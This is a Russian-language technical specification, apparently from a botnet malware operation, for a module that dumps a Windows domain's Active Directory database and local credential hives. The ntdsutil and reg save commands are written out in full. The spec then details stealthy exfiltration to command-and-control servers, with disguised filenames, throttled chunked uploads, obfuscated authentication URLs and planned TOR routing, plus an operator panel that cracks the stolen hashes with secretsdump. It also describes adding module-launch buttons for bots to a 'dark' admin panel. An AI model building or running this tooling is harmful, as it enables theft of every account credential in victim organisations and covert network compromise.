You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
321 lines
12 KiB
321 lines
12 KiB
МОДУЛЬ ДАМПА БД ACTIVE DIRECTORY И ЛОКАЛЬНЫХ УЧЕТНЫХ ЗАПИСЕЙ WINDOWS
|
|
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
|
|
|
|
|
|
ЦЕЛЬ
|
|
|
|
Выгрузка данных из БД Active Directory и локальных учетных записей, оформленная в виде модуля.
|
|
|
|
|
|
ПРИНЦИП РАБОТЫ
|
|
|
|
Модуль использует штатную утилиту `ntdsutil' для выгрузки БД.
|
|
Затем данные загружаются на сервер, где происходит их дешифровка и анализ пакетом на Питоне impacket / secretsdump.py
|
|
Модуль выполняет дамп БД Active Directory как описано в этой статье:
|
|
https://devteev.blogspot.com/2014/04/hacking-tricks-easy-way-to-get-ntdsdit.html
|
|
|
|
Также модуль делает дамп веток реестра HKLM/SAM, HKLM/Security и HKLM/System.
|
|
|
|
|
|
РЕАЛИЗАЦИЯ
|
|
|
|
Программа должна быть оформлена в виде модуля в соответствии с документом modules_HOWTO.
|
|
Название модуля/проекта - ADll.
|
|
Исходить из того, что модуль работает с правами SYSTEM.
|
|
|
|
* Перед началом работы следует проверить, имеется ли на компьютере служба Active Directory.
|
|
|
|
* Если нет, отправить сообщение "AD not found" и завершить работу.
|
|
|
|
* Далее, нужно убедиться, работает ли служба Volume Shadow Copy через WinAPI
|
|
(аналогом команды sc query vss), и если нет, запустить (перезапустить) эту службу.
|
|
|
|
* Далее формируются имена файлов дампа.
|
|
Всего файлов дампа 4:
|
|
ntds.dit
|
|
sam.dump
|
|
security.dump
|
|
system.dump
|
|
|
|
Однако в файловой системе эти файлы должны иметь другие имена:
|
|
<prefix>0.dat
|
|
<prefix>1.dat
|
|
<prefix>2.dat
|
|
<prefix>3.dat
|
|
|
|
Префикс должен формироваться как хеш строки ParentInfo.ParentID (см. module_HOWTO) и при этом удовлетворять условиям:
|
|
- значению на входе всегда соответствует одно и то же значение на выходе
|
|
- по выходному значению нельзя восстановить входное
|
|
- длина выходного хеша не зависит от длины входной строки
|
|
- получаемый хеш содержит только алфавитно-цифровые символы (читаем человеком и дружествен к файловой системе)
|
|
- алгоритм несложен.
|
|
|
|
Можно предложить такой алгоритм:
|
|
- рассчитывается 64-разрядная беззнаковая сумма всех байт (трактуемых как unsigned) поля ParentInfo.ParentID
|
|
- 64-разрядное целое трактуется как массив unsigned char filename[8]
|
|
- все байты, которые меньше 'a', становятся 'a'
|
|
- все байты, которые больше 'Z', становятся 'Z'
|
|
Таким образом, при условии подачи на вход одной и той же строки, на выходе также всегда получается одна и та же строка, которая выглядит случайно.
|
|
|
|
Однако выбор алгоритма за разработчиком.
|
|
|
|
* модуль проверяет наличие хотя бы одного из этих файлов в каталоге %TEMP%
|
|
Если файл(ы) есть, происходит их отправка по протоколу передачи файлов.
|
|
Описываемый в следующих двух пунктах дамп не производится - потому что, очевидно, модуль не закончил в прошлый раз,
|
|
и теперь мы продолжаем работу.
|
|
|
|
* Далее нужно запустить команду
|
|
|
|
ntdsutil "ac in ntds" "ifm" "cr fu %temp%\<prefix>0.dat" q q
|
|
|
|
Если есть возможность, следует реализовать все действия этой команды через WinAPI
|
|
(во второй версии; в первой версии делаем через команду).
|
|
|
|
* Делаем дамп веток реестра HKLM/SAM, HKLM/Security и HKLM/System командами
|
|
|
|
reg save hklm\sam %temp%\somepath\<prefix>1.dat
|
|
reg save hklm\security %temp%\somepath\<prefix>2.dat
|
|
reg save hklm\system %temp%\somepath\<prefix>3.dat
|
|
|
|
* Полученные файлы дампа данных передаются по протоколу передачи файлов (см.соотв.раздел).
|
|
При этом сжатие и передача файла работают в потоке с пониженным приоритетом (так, чтобы не давать пиков нагрузки на ЦП и сеть).
|
|
Размеры кусков выбираются исходя из константы(настройки) chunksize. По умолчанию размер константы - 10М.
|
|
|
|
Адреса серверов берутся из конфига случайным образом (см.ниже).
|
|
Между отправками каждого куска файла должна быть пауза, выбираемая случайным образом из интервала TIMEOUT_MIN...TIMEOUT_MAX
|
|
(константы времени компиляции). Отправка производится в один поток.
|
|
Если отправка неудачна (не удалось соединиться; получен ответ, отличный от HTTP 200 OK; ответа не было вовсе),
|
|
делается пауза на некоторое время (задать константой времени компиляции), берется следующий случайный сервер,
|
|
и так до успеха.
|
|
После успешной отправки, модуль отправляет родительскому процессу событие WantRelease и засыпает в вечном цикле
|
|
|
|
while(1) Sleep(1000);
|
|
|
|
в ожидании, что родительский процесс завершит работу модуля.
|
|
|
|
|
|
КОНФИГИ
|
|
|
|
У модуля единственный конфиг с названием srvad.
|
|
Конфиг представляет из себя простой текст, с разделителем \r\n.
|
|
Одна строка - это один URL, на который следует отправлять данные.
|
|
Если не указан префикс протокола http или https, следует выделить из URL порт.
|
|
Если порт четный, работа по http, если нечетный - по https.
|
|
|
|
Для второй версии предусмотреть работу через адреса TOR.
|
|
Легковесная библиотека работы через TOR будет предоставлена.
|
|
|
|
|
|
ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ
|
|
|
|
Протокол передачи файлов удовлетворяет следующим требованиям:
|
|
- отсутствие пиковой нагрузки на интернет-канал
|
|
- возможность передачи файла по частям.
|
|
|
|
1) на сервер отправляется основная информация о компьютере через HTTP POST в контейнере multipart/form-data (аналогично обычной отправке html-формы).
|
|
POST содержит следующие поля:
|
|
timestamp - локальное UNIX-время
|
|
ip - поле ParentInfo.SelfIP (см. module_HOWTO)
|
|
ip1 - адрес первого сетевого интерфейса
|
|
ip2 - адрес второго сетевого интерфейса
|
|
...
|
|
ipN - адрес N-го сетевого интерфейса
|
|
cid - поле ParentInfo.ParentID (см. module_HOWTO)
|
|
group - поле ParentInfo.ParentGroup (см. module_HOWTO)
|
|
hostname - имя хоста, полученное через GetComputerName()
|
|
source - строка `ntds'
|
|
|
|
Отправка происходит на url вида:
|
|
http://foo.com/<junk>/<auth>/<junk>
|
|
junk - произвольные символы, допустимые в URI, кроме слеша /
|
|
auth - авторизующая секция. Предполагается, что тот кто отправляет запрос,
|
|
должен знать правила формирования этой секции.
|
|
Это - рандом любой длины.
|
|
В ней обязательны:
|
|
- буква Z в любой позиции
|
|
- сумма цифр (не чисел!) с 6 по 15-ю позицию должна быть 31.
|
|
Символы между ними - рандом. В частности там может находиться и Z.
|
|
Пример секции - abcde7ol7k9hi8mZ
|
|
|
|
|
|
2) далее отправляется каждый файл по частям, запросом HTTP POST, в контейнере multipart/form-data.
|
|
Файл передается в поле file.
|
|
Имя файла берется из тега Content-Disposition; имя временного файла из URI игнорируется.
|
|
При этом:
|
|
- отправка файла начинается с конца. К примеру, если файл длиной 100М, мы отправляем последние 10М файла.
|
|
- после отправки куска файла и получения подтверждения, файл усекается - остается только неотправленная часть, начиная с конца.
|
|
Это делается для того, чтобы простым образом сохранять состояние отправки, и минимизировать число файловых операций.
|
|
Усечь файл можно вызовом SetEndOfFile().
|
|
- перед отправкой, отправляемый кусок файла читается в память и сжимается алгоритмом gzip.
|
|
- отправка производится на URL вида
|
|
http://foo.com/<junk>/<auth>/<cid>/<filename>/<start>/<end>/<eof>
|
|
где
|
|
junk - произвольные символы, допустимые в URI, кроме слеша /
|
|
auth - авторизующая секция. Это - рандом любой длины, в котором обязательны
|
|
- буква S в любой позиции
|
|
- сумма цифр (не чисел!) с 8 по 15-ю позицию должна быть 25.
|
|
filename - имя временного файла;
|
|
start - начальное смещение передаваемого куска относительно начала файла; здесь допустимы и буквы, и цифры.
|
|
Но значащими являются только цифры, в порядке появления в строке.
|
|
Например, 0A -- это число 0 (цифра 0 значащая, буква A игнорируется).
|
|
end - конечное смещение передаваемого куска относительно начала файла; правила те же, что и для start.
|
|
Например, 3A5A2A3A9A5A9A - это 3523959.
|
|
eof - признак конца файла. Если признак есть, это последний кусок файла; и наоборот (секция необязательная)
|
|
Это рандом любой длины, в котором обязательны:
|
|
- первая цифра чётная или 0
|
|
- последняя буква A или F
|
|
|
|
Последний символ имени файла (до расширения) имеет следующее значение:
|
|
0 - ntds.dit
|
|
1 - sam.dump
|
|
2 - security.dump
|
|
3 - system.dump
|
|
|
|
При обработке ошибок, код HTTP-ответа 200 не говорит об успехе операции,
|
|
но код не-200 говорит о неуспехе операции (например, 50* или 40* от прокси).
|
|
Точный код операции содержится внутри XML в теле HTTP-ответа, внутри тега <response>.
|
|
При получении кода ответа вида 4041, добавочный символ 1 - это внутренний код ошибки сервера (включен только во время отладки).
|
|
|
|
Например, следующий ответ свидетельствует об ошибке с кодом 9:
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: nginx/1.10.3 (Ubuntu)
|
|
Date: Mon, 07 Oct 2019 13:08:44 GMT
|
|
Content-Type: application/xml; charset=UTF-8
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Vary: Accept
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<response>4049</response>
|
|
|
|
Следующий ответ - ошибки нету, все ок
|
|
HTTP/1.1 200 OK
|
|
Server: nginx/1.10.3 (Ubuntu)
|
|
Date: Mon, 07 Oct 2019 13:08:44 GMT
|
|
Content-Type: application/xml; charset=UTF-8
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Vary: Accept
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<response>200</response>
|
|
|
|
АДМИНКА
|
|
|
|
Использование получаемых данных будет производиться через админку.
|
|
Требования к оформлению минимальные - разумная простота.
|
|
|
|
Главный экран показывает список последних полученных данных в формате таблицы:
|
|
|
|
датавремя | ClientID| Group | IP | Hostname | Total Size
|
|
|
|
с пейджингом.
|
|
|
|
датавремя - для последнего приема по выбранному ClientID (см.ниже о группировке посылок).
|
|
|
|
Предусмотреть фильтрацию по полям:
|
|
- датавремя (диапазон от и до)
|
|
- ClientID
|
|
- Group
|
|
- IP
|
|
- Hostname
|
|
- Total Size (диапазон от и до)
|
|
|
|
Язык интерфейса - английский.
|
|
Все скрипты не должны содержать русских строк и переменных по-русски (var $issledovanie - плохо; var $research - хорошо).
|
|
|
|
В списке должна быть сортировка по полям заголовка.
|
|
|
|
Запись можно открыть на просмотр; запись можно удалить (после трех предупреждений "Вы уверены?" со всем большим шрифтом и все более красным цветом).
|
|
Кнопка удаления записи доступна только в открытой на просмотр записи.
|
|
Добавление и редактирование записей не предусмотрено.
|
|
|
|
В открытой записи должны быть перечислены файлы, содержащиеся в записи; каждый файл можно скачать.
|
|
|
|
В открытой записи должна быть кнопка "Анализ данных".
|
|
Пока проходит анализ, должен "крутиться" индикатор анализа (колесико часов или вроде того).
|
|
|
|
Анализ данных Active Directory происходит путем запуска двух скриптов:
|
|
|
|
sudo ./secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile result local
|
|
|
|
где ntds.dit и SYSTEM - это необработанные файлы из полученного от модулей архива
|
|
result - имя результирующего файла
|
|
|
|
Анализ локальных учетных записей:
|
|
|
|
secretsdump.py -sam sam.dump -security security.dump -system system.dump LOCAL
|
|
|
|
При этом, админка должна:
|
|
- выгрузить куда-нибудь во временную папку нужные скрипту файлы ntds.dit, sam.dump, security.dump, system.dump
|
|
(эти файлы и содержатся в записи)
|
|
- запустить скрипты, подсунув им пути к этим файлам
|
|
- прочитать stdout, stderr скриптов и выдать их во фрейме на странице
|
|
- добавить кнопку "Скачать результат анализа", чтобы скачать результат анализа, в виде .txt или .zip.
|
|
Для этого возможно придется кешировать результат анализа, либо сохранять его в записи.
|
|
|
|
***
|
|
|
|
Установка скрипта на Питоне примерно следующая:
|
|
|
|
pip
|
|
pip install impacket
|
|
pip install impacket --upgrade (if needed)
|
|
|
|
pip install pycrypto (--upgrade if needed)
|
|
|
|
pip install pyasn1 (if needed)
|
|
|
|
apt-get install python-dev (if needed)
|
|
|
|
|
|
|
|
API АДМИНКИ
|
|
|
|
Админка должна выставить API для получения данных от модулей:
|
|
|
|
POST /api/v1/hello HTTP/1.1
|
|
|
|
Этот запрос создает либо обновляет запись с метаданными от конкретного клиента. Данных файла в нем пока нет
|
|
(см. ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ).
|
|
|
|
POST /api/v1/savef/<cid>/<filename>/<start>/<end>/e
|
|
|
|
Этот запрос позволяет сохранить часть файла (см. ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ).
|
|
|
|
Все ответы 200 - ОК.
|
|
Все ответы не 200 - ошибка. Уточняющий текст ошибки на усмотрение разработчика API.
|
|
|
|
При создании хранилища данных исходить из того, что размер файлов может быть значителен (гигабайты в одной посылке).
|
|
Архив с данными всегда содержит одинаковый набор данных. Имена файлов могут уточняться, но в первом приближении это:
|
|
|
|
ntds.dit
|
|
sam.dump
|
|
security.dump
|
|
system.dump
|
|
|
|
При сохранении данных в БД/на диск нужно сохранять дату-время их прихода.
|
|
|
|
ВАЖНО!
|
|
Одну условную ЗАПИСЬ в БД формирует 4 (четыре!) файла.
|
|
За одну посылку можно передать только один файл (в лучшем случае).
|
|
Поэтому, при сохранении в БД, нужно группировать файлы к основной записи по ключу cid.
|
|
Учитывать, что передача гигабайтных пакетов может занимать несколько суток.
|
|
|
|
|
|
МОДИФИКАЦИЯ "ТЕМНОЙ" АДМИНКИ
|
|
|
|
Нужно так модифицировать "темную" админку, чтобы можно было просто запускать модули.
|
|
На экране с деталями бота (/log/1234) нужно добавить список кнопок с именами часто используемых модулей, например
|
|
injectDll
|
|
pwgrab
|
|
importDll
|
|
итд
|
|
|
|
Эти имена можно брать как из справочника известных модулей, так и жестко вшить в код (первое предпочтительно).
|
|
Для уже загруженных и работающих на боте модулей кнопка с его именем должна работать на выключение (т.е. нажатие на кнопку выгружает модуль).
|
|
Для не работающих модулей кнопка загружает модуль.
|
|
Т.к. реакция на загрузку модуля происходит в течение нескольких минут, нужно блокировать кнопку от нажатия, до получения реакции от бота.
|
|
|
|
|